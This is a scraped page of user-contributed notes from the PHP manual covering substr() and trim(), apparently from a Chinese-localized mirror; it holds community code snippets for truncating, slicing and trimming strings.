$path_php = path;

//shorten until '/'
while (substr ($path, -1) != '/'){
  $path = substr( $path, 0, -1);
}

/* to see the difference: */
echo $path_php."<br>";
echo $path;

?>
jay
15-Jun-2005 06:34
Better written version of my function below.

<?php

   function elliStr($s,$n) {
     for ( $x = 0; $x < strlen($s); $x++ ) {
         $o = ($n+$x >= strlen($s) ? $s : ($s{$n+$x} == " " ? substr($s,0,$n+$x) . "..." : ""));
         if ( $o != "" ) { return $o; }
     }
   }

   print(elliStr("have a nice day", 7)); // returns: Have a nice...
   print(elliStr("have a nice day", 6)); // returns: Have a...

?>
ivanhoe011 at gmail dot com
08-Jun-2005 11:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
   // both lines will output the 3rd character
   echo substr($my_string, 2, 1);
   echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net
07-Jun-2005 06:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?
function limit_string($string, $charlimit)
{
   if(substr($string,$charlimit-1,1) != ' ')
   {
       $string = substr($string,'0',$charlimit);
       $array = explode(' ',$string);
       array_pop($array);
       $new_string = implode(' ',$array);

       return $new_string.'...';
   }
   else
   {
       return substr($string,'0',$charlimit-1).'...';
   }
}
?>
pedro at leb dot usp dot br
07-Jun-2005 02:22
watch out, in dead dot screamer at seznam dot cz's script: if your $end is larger than $length, you may have strange results...
Nice function if it is for your own use, though (eg. not allowing the user to change the $end)
jay
06-Jun-2005 02:26
A more sophisticated ellipse function that lets you end only at the end of words instead of breaking a word to print an ellipse, can however change it using the switch at the end (1/0). This could probably be written better, my PHP skills aren't amazing yet like some others :p

<?php

// example use:
// elliStr("have a nice day",8,1);
// results:
// have a nice...
//
// elliStr("have a nice day",8,0);
// results:
// have a n...

function elliStr($s,$n,$e) {
   if ( isset($e) ) {
     if ( $e == 1 ) {
         if ( substr(substr($s, 0, $n), -1, 0) != " " ) {
           for ( $x = 0; $x <= strlen($s); $x++ ) {
               if ( substr($s, strlen(substr($s, 0, $n))+$x-1, 1) == " " ) {
                 $newendval = $x;
                 $stop = 1;
               } else {
                 print(substr(substr($s, 0, $n), strlen(substr($s, 0, $n)), $x));
               }
               if ( isset($stop) ) {
                 return substr($s, 0, $n+$x-1) . "...";
               }
           }
         } else {
           return substr($s, 0, $n) . "...";
         }
     } else {
         if (strlen($s) > $n) {
           return substr($s, 0, $n) . "...";
         } else {
           return $s;
         }
     }
   } else {
     return false;
   }
}

?>

Hope this helps.
dead dot screamer at seznam dot cz
03-Jun-2005 01:29
This is a little better ellipsis function
<?
function betterEllipsis($string, $length, $end='...')
{
   return (strLen($string)>$length)?subStr($string,0,$length-strLen($end)).$end:
   $string;
}
?>
webmaster at jpriestley dot org
29-May-2005 08:24
A quick function to return a string with appended ellipsis if over a specified length:

function ellipsis($string, $length) {
  return (strlen($string) > $length) ? substr($string, 0, $length) . '...' : $string;
}

print ellipsis('foobar', 3) returns 'foo...'
michiel at mb-it dot nl
29-May-2005 04:01
For the stripos() function is only available for PHP 5 the checkword() function might be a useful alternative in PHP 3 or 4.
eviloverlord at gmail dot com
27-May-2005 09:57
It appears the "checkword" function below is just a (poor) implementation of stripos.  Stripos will find the (case-insensitive) location of a string in another string, returning FALSE if it is not found.
michiel at mb-it dot nl
27-May-2005 04:19
Loads of spam messages in a guestbook I created forced me to create a new boolean-function using the substr in order to check for unwanted words in posted messages. Take for instance the bad word is "poker":

function checkword($string,$word)
{
   $count = 0;
   for($i=0;$i<=strlen($string);$i++)
   {
       if (strtolower(substr($string,$i,strlen($word))) == strtolower($word))
       {
           $count++;
       }
   }
   if ($count>0)
   {
       return true;
   }
   else
   {
       return false;
   }
}

$badword = "poker";

if (!checkword($mytext,$badword))
{
   addtoguestbook();
}
bleakwind at msn dot com
26-May-2005 01:15
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind At http://www.weaverdream.com
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
   $str    = "";
   $count  = 0;
   $str_len = strlen($string);
   for ($i=0; $i<$str_len; $i++) {
       if (($count+1-$start)>$len) {
           $str  .= "...";
           break;
       } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
           $count++;
       } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
           $count = $count+2;
           $i    = $i+$byte-1;
       } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
           $str  .= substr($string,$i,1);
           $count++;
       } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
           $str  .= substr($string,$i,$byte);
           $count = $count+2;
           $i    = $i+$byte-1;
       }
   }
   return $str;
}

// Test
$str = "123456123456123456";
for($i=0;$i<30;$i++){
   echo "<br>".bite_str($str,$i,20);
}
?>
bleakwind at msn dot com
26-May-2005 01:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
   $str    = "";
   $count  = 0;
   $str_len = strlen($string);
   for ($i=0; $i<$str_len; $i++) {
       if (($count+1-$start)>$len) {
           $str  .= "...";
           break;
       } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
           $count++;
       } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
           $count = $count+2;
           $i    = $i+$byte-1;
       } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
           $str  .= substr($string,$i,1);
           $count++;
       } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
           $str  .= substr($string,$i,$byte);
           $count = $count+2;
           $i    = $i+$byte-1;
       }
   }
   return $str;
}

// Test
$str = "123456123456123456";
for($i=0;$i<30;$i++){
   echo "<br>".bite_str($str,$i,20);
}
?>
ben
24-May-2005 11:59
two useful functions that I use and make life a tad easier:

<?php

//returns $length characters from the left of $string
function left($string, $length) {
   return substr($string, 0, $length);
}

//returns $length characters from the right of $string
function right($string, $length) {
   return substr($string, -$length, $length);
}

?>
fanfatal at fanfatal dot pl
18-May-2005 06:38
Sorry for my misteake in previous function - can u change this line:

<?php
// ... old
$pattern = str_replace(chr(1),'(.*?)',preg_quote($clean));

// ... the new one
$pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
// ...
?>

I will be glad ;]
fanfatal at fanfatal dot pl
17-May-2005 02:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
   $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
   $clean = preg_replace($pattern, chr(1), $string);
   if(!$length)
       $str = substr($clean, $start);
   else {
       $str = substr($clean, $start, $length);
       $str = substr($clean, $start, $length + substr_count($str, chr(1)));
   }
   $pattern = str_replace(chr(1),'(.*?)',preg_quote($clean));
   if(preg_match('/'.$pattern.'/is', $string, $matched))
       return $matched[0];
   return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
mike at go dot online dot pt
07-May-2005 11:15
See also mb_strcut() function
http://www.php.net/manual/en/function.mb-strcut.php
pinetree822 at yahoo dot co dot kr
04-May-2005 02:30
//Title : mb Character Cutting& Convert
//BugsPleaseEmailMe : pinetree822@yahoo.co.kr
//home;bitmore.co.kr
//Test IN PHP Version 4.3.1-4.3.7
//OS Linux,Winodow2003
//Browser explore 6.0.3790.0

show script url<br>
http://www.bitmore.co.kr/test-module/cut_mbstring.php<br>
matt at spcan dot com
04-May-2005 02:47
substr($lbar_html,0,-2); // does not work

and

substr($lbar_html, 0, -2); // works as expected

do not work the same.
woutermb at gmail dot com
22-Mar-2005 03:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
   $length = strlen($value);
   if($length >=20){
       for($i=0;$i<=$length;$i+=10){
           $new .= substr($value, $i, 10);
           $new .= " ";
       }
         $post .= $new;
   }
   elseif($length <=15){
       $post .= $value;
   }
   $post .= " ";
}
return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
vampired64 at gmail dot com
15-Mar-2005 05:28
an easy way to return a file size to 1 decimal place and MB

<?
$size = filesize("filename.jpg"); // get size
$size = $size/1024; // convert to MB
$pos = strpos(".",$size); // get dot pos
$size = substr($size,0,$pos+3); // sub-strng it
?>
steve at unicycle dot co dot nz
14-Mar-2005 01:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );
cody at apparitiondesigns dot com
11-Mar-2005 05:02
I don't know if I didn't realize this because I'm not very smart - or if i just over looked it, but the string needs to be a string.  Not an integer.

ex.

<?php
$var = 12345;
  echo $var{0}; // outputs nothing at all

$var = '12345';
  echo $var{0}; // out puts 1
?>
Matias from Argentina
25-Feb-2005 04:55
Hello,
Here you are a function to format your
numeric strings. Enjoy it.

<?php
function str_format_number($String, $Format){
   if ($Format == '') return $String;
   if ($String == '') return $String;

   $Result = '';
   $FormatPos = 0;
   $StringPos = 0;
   While ((strlen($Format) - 1) >= $FormatPos){
       //If its a number => stores it
       if (is_numeric(substr($Format, $FormatPos, 1))){
           $Result .= substr($String, $StringPos, 1);
           $StringPos++;
       //If it is not a number => stores the caracter
       } Else {
           $Result .= substr($Format, $FormatPos, 1);
       }
       //Next caracter at the mask.
       $FormatPos++;
   }

   return $Result;
}

// For phone numbers at Buenos Aires, Argentina
// Example 1:
   $String = "541143165500";
   $Format = "+00 00 0000.000";
   Echo str_format_number($String, $Format); // Returns "+54 11 4316.5500"

// Example 2:
   $String = "541143165500";
   $Format = "+00 00 0000.0000000";
   Echo str_format_number($String, $Format); // Returns "+54 11 4316.5500"

// Example 3:
   $String = "541143165500";
   $Format = "+00 00 0000.000 a";
   Echo str_format_number($String, $Format); // Returns "+54 11 4316.550 a"

?>

How it works explanation:

str_format_number($String, $Format)
Spects two parameters $String and $Format,
both should be strings.
$String: coulbe any kind of data type,
but it's oriented to numeric string, like
phone numbers.
$Format: should be a conjunction between
numbers (any one) and others caracters.

str_format_number takes each caracter
of $Format, if it isn't a number stores
it to be returned later, but if it is a
number takes the caracter of $String
placed in the position corresponding to
the amount of numbers in $Format so far
starting from zero.

If $Format has less numbers than $string
caracters the rest of the caracters at
the end of $String should be ignored.
If $Format has more numbers than $string
caracters the no caracter will be used,
so those will be ignored.
crashmanATgreenbomberDOTcom
22-Feb-2005 10:34
A fellow coder pointed out to me that $string{-n} will no longer return the character at postion -n is. Use $string{strlen($string) - n) instead.
andrewmclagan at gmail dot com
20-Feb-2005 05:58
Hi there here is a little function i wrote to limit the number of lines in a string, i could not find anything else like it out there

function lineLimiter ($string = "", $max_lines = 1) {

         $string = ereg_replace("\n", "##", $string);

         $totalLines = (substr_count($string, '##') + 1);

         $string = strrev($string);

         $stringLength = strlen($string);

         while ($totalLines > $max_lines) {
             $pos = 0;
             $pos = strpos ( $string, "##") + 2;
             //$pos = $pos - $stringLength;
             $string = substr($string, $pos);
             $totalLines--;
         }
         $string = strrev($string);
         $string = ereg_replace("##", "\n", $string);
         return $string;
   }
Robert
14-Feb-2005 12:36
It is also good to use substr() to get a file extension when manipulating with files. For example:

<?php
$dir = "/full/path/to/folder";
if(is_dir($dir))
{
  if($dh = opendir($dir))
  {
   while(($file = readdir($dh)) !== false)
   {
     if(substr($file,strlen($file)-4,4) == ".txt")
     {
       echo "Filename: $file<br/>\n";
     }
   }
   closedir($dh);
  }
  else
  {
   echo "Cannot open directory";
  }
}
else
{
  echo "Cannot open directory";
}
?>

Hopefully this helps
mancini at nextcode dot org
05-Feb-2005 07:10
here are two functions to shrink a string to specified lenght , normally (stri...) or reversed (...ing)

<?php

//limit chars
  function limitch($value,$lenght){
         if (strlen($value) >= $lenght ){
                 $limited = substr($value,0,$lenght);
                 $limited .= "...";
         }
         return $limited;
  }
//limit chars reversed
  function limitchrev($value,$lenght){
         if (strlen($value) >= $lenght ){
                 $start = strlen($value)- $lenght;
                 $limited = "...";
                 $limited .= substr($value,$start,$lenght);
         }
         return $limited;
  }

?>
vitalic#pisem.net
15-Dec-2004 07:26
Split $string after each $pos, by $space
Example: <?php spaceStr('1836254','-',3); ?>
Would return '183-625-4';

<?php
function spaceStr($string,$space,$pos)
{
       $cpos=$pos;
       while ($cpos<strlen($string))
       {
         $string=substr($string,0,$cpos).$space.substr($string,$cpos);
         $cpos+=strlen($space)+$pos;
       };
       return $string;
}

?>
kovacsendre at no_spam_thanks_kfhik dot hungary
02-Nov-2004 11:38
Here are the replacement functions for substr() and strlen() I use when support for html entities is required:

<?php

function html_strlen($str) {
  $chars = preg_split('/(&[^;\s]+;)|/', $str, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
  return count($chars);
}

function html_substr($str, $start, $length = NULL) {
  if ($length === 0) return ""; //stop wasting our time ;)

  //check if we can simply use the built-in functions
  if (strpos($str, '&') === false) { //No entities. Use built-in functions
   if ($length === NULL)
     return substr($str, $start);
   else
     return substr($str, $start, $length);
  }

  // create our array of characters and html entities
  $chars = preg_split('/(&[^;\s]+;)|/', $str, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_OFFSET_CAPTURE);
  $html_length = count($chars);

  // check if we can predict the return value and save some processing time
  if (
       ($html_length === 0) /* input string was empty */ or
       ($start >= $html_length) /* $start is longer than the input string */ or
       (isset($length) and ($length <= -$html_length)) /* all characters would be omitted */
     )
   return "";

  //calculate start position
  if ($start >= 0) {
   $real_start = $chars[$start][1];
  } else { //start'th character from the end of string
   $start = max($start,-$html_length);
   $real_start = $chars[$html_length+$start][1];
  }

  if (!isset($length)) // no $length argument passed, return all remaining characters
   return substr($str, $real_start);
  else if ($length > 0) { // copy $length chars
   if ($start+$length >= $html_length) { // return all remaining characters
     return substr($str, $real_start);
   } else { //return $length characters
     return substr($str, $real_start, $chars[max($start,0)+$length][1] - $real_start);
   }
  } else { //negative $length. Omit $length characters from end
     return substr($str, $real_start, $chars[$html_length+$length][1] - $real_start);
  }

}

?>

Example:

html_substr("&aacute;bla&#54;bla", 1, 4) -> "bla&#54;"

If you happen to find any bugs, please let me know.
Gordon Axmann
30-Aug-2004 02:33
Two very nice and practical functions:

1. Checks if a string ($needle) turns up at the BEGINNING of another string ($hay):

2. Checks if a string ($needle) appears at the END of another string ($hay):

<?php
function isstartstring($hay,$needle,$casesensitive=true) { // prft ob ein string am Anfang vorkommt
if (!$casesensitive) {
   $needle=strtolower($needle);
   $hay=strtolower($hay);
   }
return (substr($hay,0,strlen($needle))==$needle);
}

function isendstring($hay,$needle,$casesensitiv=true) { // prft ob ein string am Ende vorkommt
if (!$casesensitive) {
   $needle=strtolower($needle);
   $hay=strtolower($hay);
   }
return (substr($hay,-strlen($needle))==$needle);
}
?>
lmak at NOSPAM dot iti dot gr
18-Aug-2004 02:59
Regarding windix's function to handle UTF-8 strings: one can use the "u" modifier on the regular expression so that the pattern string is treated as UTF-8 (available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32). This way the function works for other encodings too (like Greek for example).

The modified function would read like this:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./u", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
squeegee
11-Aug-2004 10:34
php equivalent of Javascript's substring:

<?php

function substring($str,$start,$end){
   return substr($str,$start,($end-$start));
}

?>
fox at conskript dot server
11-Aug-2004 07:01
Here's a little bit of code to chop strings (with html tags) around a specified length while making sure no html tags are chopped. It also prevents chopping while a tag is still open.

Note: this will only work in xhtml strict/transitional due to the checking of "/>" tags and the requirement of quotations in every value of a tag. It's also only been tested with the presence of br, img, and a tags, but it should work with the presence of any tag.

<?php
function html_substr($posttext, $minimum_length, $length_offset) {
   // The approximate length you want the concatenated text to be
   $minimum_length = 200;
   // The variation in how long the text can be
   // in this example text length will be between 200-10=190 characters
   // and the character where the last tag ends
   $length_offset = 10;
   // Reset tag counter & quote checker
   $tag_counter = 0;
   $quotes_on = FALSE;
   // Check if the text is too long
   if (strlen($posttext) > $minimum_length) {
       // Reset the tag_counter and pass through (part of) the entire text
       for ($i = 0; $i < strlen($posttext); $i++) {
           // Load the current character and the next one
           // if the string has not arrived at the last character
           $current_char = substr($posttext,$i,1);
           if ($i < strlen($posttext) - 1) {
               $next_char = substr($posttext,$i + 1,1);
           }
           else {
               $next_char = "";
           }
           // First check if quotes are on
           if (!$quotes_on) {
               // Check if it's a tag
               // On a "<" add 3 if it's an opening tag (like <a href...)
               // or add only 1 if it's an ending tag (like </a>)
               if ($current_char == "<") {
                   if ($next_char == "/") {
                                       $tag_counter++;
                   }
                   else {
                       $tag_counter = $tag_counter + 3;
                   }
               }
               // Slash signifies an ending (like </a> or ... />)
               // substract 2
               if ($current_char == "/") $tag_counter = $tag_counter - 2;
               // On a ">" substract 1
               if ($current_char == ">") $tag_counter--;
               // If quotes are encountered, start ignoring the tags
               // (for directory slashes)
               if ($current_char == "\"") $quotes_on = TRUE;
           }
           else {
               // IF quotes are encountered again, turn it back off
               if ($current_char == "\"") $quotes_on = FALSE;
           }

           // Check if the counter has reached the minimum length yet,
           // then wait for the tag_counter to become 0, and chop the string there
           if ($i > $minimum_length - $length_offset && $tag_counter == 0) {
               $posttext = substr($posttext,0,$i + 1) . "...";
               return $posttext;
           }
       }
   }
             return $posttext;
}
aidan at php dot net
10-Jun-2004 09:03
Here is a nifty function to shorten long strings, with a variety of formatting options.

http://aidan.dotgeek.org/lib/?file=function.str_chop.php
biohazard at online dot ge
16-May-2004 04:55
may be by following functions will be easyer to extract the
needed sub parts from a string:

 after ('@', 'biohazard@online.ge');
 returns 'online.ge'
 from the first occurrence of '@'

 before ('@', 'biohazard@online.ge');
 returns 'biohazard'
 from the first occurrence of '@'

 between ('@', '.', 'biohazard@online.ge');
 returns 'online'
 from the first occurrence of '@'

 after_last ('[', 'sin[90]*cos[180]');
 returns '180]'
 from the last occurrence of '['

 before_last ('[', 'sin[90]*cos[180]');
 returns 'sin[90]*cos['
 from the last occurrence of '['

 between_last ('[', ']', 'sin[90]*cos[180]');
 returns '180'
 from the last occurrence of '['

<?

   function after ($this, $inthat)
   {
       if (!is_bool(strpos($inthat, $this)))
       return substr($inthat, strpos($inthat,$this)+strlen($this));
   };

   function after_last ($this, $inthat)
   {
       if (!is_bool(strrevpos($inthat, $this)))
       return substr($inthat, strrevpos($inthat, $this)+strlen($this));
   };

   function before ($this, $inthat)
   {
       return substr($inthat, 0, strpos($inthat, $this));
   };

   function before_last ($this, $inthat)
   {
       return substr($inthat, 0, strrevpos($inthat, $this));
   };

   function between ($this, $that, $inthat)
   {
     return before($that, after($this, $inthat));
   };

   function between_last ($this, $that, $inthat)
   {
     return after_last($this, before_last($that, $inthat));
   };

   // USES
   function strrevpos($instr, $needle)
   {
       $rev_pos = strpos (strrev($instr), strrev($needle));
       if ($rev_pos===false) return false;
       else return strlen($instr) - $rev_pos - strlen($needle);
   };

?>
phplist at boonedocks dot net
29-Aug-2003 04:39
If 'start' is negative and greater than the length of the string, PHP seems to return the first 'length' characters of the string. For example, substr('test',-10,1) returns 't'.
06-Jul-2003 08:39
If you want to substring the middle of a string with another and keep the words intact:

<?php
/**
 * Reduce a string by the middle, keeps whole words together
 *
 * @param string $string
 * @param int $max (default 50)
 * @param string $replacement (default [...])
 * @return string
 * @author david at ethinkn dot com
 * @author loic at xhtml dot ne
 * @author arne dot hartherz at gmx dot net
 */

function strMiddleReduceWordSensitive ($string, $max = 50, $rep = '[...]') {
   $strlen = strlen($string);

   if ($strlen <= $max)
       return $string;

   $lengthtokeep = $max - strlen($rep);
   $start = 0;
   $end = 0;

   if (($lengthtokeep % 2) == 0) {
       $start = $lengthtokeep / 2;
       $end = $start;
   } else {
       $start = intval($lengthtokeep / 2);
       $end = $start + 1;
   }

   $i = $start;
   $tmp_string = $string;
   while ($i < $strlen) {
       if ($tmp_string[$i] == ' ') {
           $tmp_string = substr($tmp_string, 0, $i) . $rep;
           $return = $tmp_string;
       }
       $i++;
   }

   $i = $end;
   $tmp_string = strrev ($string);
   while ($i < $strlen) {
       if ($tmp_string[$i] == ' ') {
           $tmp_string = substr($tmp_string, 0, $i);
           $return .= strrev ($tmp_string);
       }
       $i++;
   }
   return $return;
   return substr($string, 0, $start) . $rep . substr($string, - $end);
}

echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30) . "\n";
// Returns: ABCDEEF GHIJK[...]asdf sadf sad s (33 chrs)
echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30, '...') . "\n";
// Returns: ABCDEEF GHIJK...asdf sadf sad s (32 chrs)
?>
add a note add a note

后退 | 起点 | 前进
substr_replace | 上一级 | trim


trim

(PHP 3, PHP 4, PHP 5)

trim -- Strip whitespace (or other characters) from the beginning and end of a string

说明

string trim ( string str [, string charlist] )

This function returns a string with whitespace stripped from the beginning and end of str. Without the second parameter, trim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.

  • "\t" (ASCII 9 (0x09)), a tab.

  • "\n" (ASCII 10 (0x0A)), a new line (line feed).

  • "\r" (ASCII 13 (0x0D)), a carriage return.

  • "\0" (ASCII 0 (0x00)), the NUL-byte.

  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

参数

str

The string that will be trimmed.

charlist

Optionally, the stripped characters can also be specified using the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

返回值

The trimmed string.

更新日志

版本 | 说明
4.1.0 | The optional charlist parameter was added.

范例

例子 1. Usage example of trim()

<?php

$text = "\t\tThese are a few words :) ...  ";

echo trim($text);           // "These are a few words :) ..."
echo trim($text, " \t.");   // "These are a few words :)"

// trim the ASCII control characters at the beginning and end of $binary
// (from 0 to 31 inclusive)
$clean = trim($binary, "\x00..\x1F");

?>

例子 2. Trimming array values with trim()

<?php
function trim_value(&$value)
{
    $value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

上例将输出：

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

参见

ltrim()
rtrim()

add a note add a note User Contributed Notes
rchaube at staff dot atlantic dot net
19-Feb-2006 05:03
I was accepting text pasted from a csv file into a textarea in my code. I found that even using trim was not able to get rid of the whitespace characters at the end of the string.
Finally, using this helped:

$result = trim($source,"\x7f..\xff\x0..\x1f");

Hope this saves someone few hours. All thanks to previous comment from HW for this
jonathan at abbett dot org
27-Jan-2006 01:07
With all this talk about trimming array values, it should be known that accidentally using the trim() function with an array() argument ...

<?php
  $array = array(1, 2, 3);
  $array = trim($array);
  print_r($array); // prints "Array"
  echo($array); // also prints "Array"
?>

... yields the string "Array"
asharm4 at ilstu dot edu
18-Jan-2006 01:30
This staetment removes the trailing and leading whitespaces from the string..Really useful when handling the form values submitted by a visitor or analyzing a log file.

$trimmed_string = preg_replace ( "/\s\s+/" , " " , $untrimmed_string );

Note : thsi would only remove leading and trailing whitespaces. For the whitespaces in the string use any of the above methods.
Martin Kealey
15-Dec-2005 06:10
Using "trim" to minimize the format of a decimal number strikes me as awkward. I would just use:

   $str += 0;

This even has the added benefit of ensuring that you have at least one digit (and thus have a valid number) even if the original was empty.
warhog at warhog dot net
08-Dec-2005 04:28
I was wondering about much of the examples given below, but the current (2005-12-07) function definition in the manual is not correct.

The function trim is defined as

trim(string string [, string charlist])

you must give the string-parameter and you can optionally add a parameter charlist - these chars are the chars to strip from the beginning and the end of the file.
(its self-evident that the default of this parameter is "\n\t\r\h\v\0 ")

hope that'll help - and that the docs are updated.. i don't know since which php-version that optional parameter can be used - i know that it works with PHP >= 4.3 & >= 5.0 . Maybe it's beeing there since 10 years and just an enormous insider :-)
davis_utah at yahoo dot com
02-Sep-2005 02:30
Just a word of caution when looping through a batch of strings (in the thousands or more). Using trim to take off a left over character (like a comma in a csv output) will result in a much slower execution. It is better to use a tiny bit of conditional logic instead.

I believe the reason this is the case is because of having to create a new spot in memory to temporarily handle the result of trim.

Hope this helps.
rifter at cox dot net
16-Jul-2005 03:49
Chris wrote:
> Here's a neat function to trim off extraneous zeros and  the > decimal, leaving important numbers intact:
> ...

  Actually use:
<?php
...
  return rtrim(trim($num, '0'), '.');
...
?>
This ensures that a left leading decimal place doesn't get removed i.e. 00.010 should return .01 and not 01.
chris dot cowart at gmail dot com
06-Jul-2005 01:20
Here's a neat function to trim off extraneous zeros and  the decimal, leaving important numbers intact:

<?php

function clean_num($num){
  return trim(trim($num, '0'), '.');
}

echo clean_num('06000.3050');
echo clean_num('500.00');

?>

Output:
6000.305
500

I find it very handy to use when pulling data from decimal fields in MySQL and putting them into <input> fields. Makes everything cleaner :)
ervin dot kosch at gmail dot com
16-Jun-2005 10:25
I find that when I use the explode() function to break apart string that read from a text file it sometime leave LF or CR that mess up my text processing.  So I wrote this function to get rid of any white spaces or CF/LF that might be causing a problem.

I have had some people report problems in older versions of PHP4.
<?

  function utrim($source){
   $temp = ltrim($source);
   $temp = rtrim($temp);
   $temp = trim($temp);

   return $temp;
  }

?>
15-Jun-2005 12:54
here's a heads up folks.

in the event that you want to check the result of a trim for being empty the following code fails::

$emptyvar = " ";
if ( empty(trim($emptyvar)) )
{
   echo "It was empty";
}

this code works as expected::

$emptyvar = " ";
$check = trim($emptyvar);
if ( empty($check) )
{
   echo "It was empty";
}
okumurya at hotmail dot com
05-Jun-2005 07:01
fread/fwrite blocks program when no data available.
so, you consider use select system call.
following is example.

<?php
  /**
   *
   * write/read pipe
   *
   * @param resource $w_fp write file handle
   * @param resource $r_fp read file handle
   * @param string $input
   * @return string
   */
  function _writeread_pipe(&$w_fp, &$r_fp, $input) {
   $output = '';
   $write_bytes = 0;

   //
   while (True) {
     if (!isset($r_fp) && !isset($w_fp)) break;

     $read = isset($r_fp) ? array($r_fp) : Null;
     $write = isset($w_fp) ? array($w_fp) : Null;

     // select pipes
     $r = stream_select($read,
                         $write,
                         $except = Null,
                         30
                         );
     if ($r === False) {
       return PEAR::raiseError('process timeout');
     }

     // read pipe
     if (isset($read) && isset($read[0])) {
       do {
         $buf = fread($r_fp, 1024);
         if (strlen($buf) == 0) {
           fclose($r_fp);
           $r_fp = Null;
           break;
         }
         $output .= $buf;
       } while (True);
     }

     // write pipe
     if (isset($write) && isset($write[0])) {
       $r = fwrite($w_fp, substr($input, $write_bytes));
       if ($r === False) {
         return PEAR::raiseError('process write error');
       }

       $write_bytes += $r;
       if ($write_bytes == strlen($input)) {
         fclose($w_fp);
         $w_fp = Null;
       }
     }
   }

   return $output;
  }

?>
thom at xmods dot hu
24-May-2005 04:54
Hi everybody.

I make a registration page, and i want to drop \ t \n \r ...etc.

I send the trim function to the post but the trim not work good because if i send the post with \ t or \ r or \n it's work but later i have got an empty registration.

Here is the code:

$fullname = trim($_POST['regfullname']);
$messenger = trim($_POST['regmsn']);
$nick = trim($_POST['regnick']);
$telefon = trim($_POST['regtel']);
$email = trim($_POST['regemail']);
$www = trim($_POST['regwww']);
$pass1 = trim($_POST['regpassword1']);
$pass2 = trim($_POST['regpassword2']);
$icq = trim($_POST['regicq']);
$signature = trim($_POST['regsignature']);
$config = trim($_POST['regconfig']);

$protect = array(
   "<" => "&lt;",
   ">" => "&gt;",
   "&" => "&amp;",
   "\"" => "&quot;",
   "'" => "&#39;",
   "\n" => " ",
   "\t" => " ",
   "\r" => " ",
   "\0" => " ",
   "\x0B" => "",
   " " => ""
);

$protectmail = array(
   "@" => "(KUKAC)",
   "." => "(PONT)"
);

$fullname = strtr($fullname, $protect);
$messenger = strtr($messenger, $protect);
$nick = strtr($nick, $protect);
$telefon = strtr($telefon, $protect);
$email = strtr($email, $protectmail);
$www = strtr($www, $protect);
$pass1 = strtr($pass1, $protect);
$pass2 = strtr($pass2, $protect);
$icq = strtr($icq, $protect);
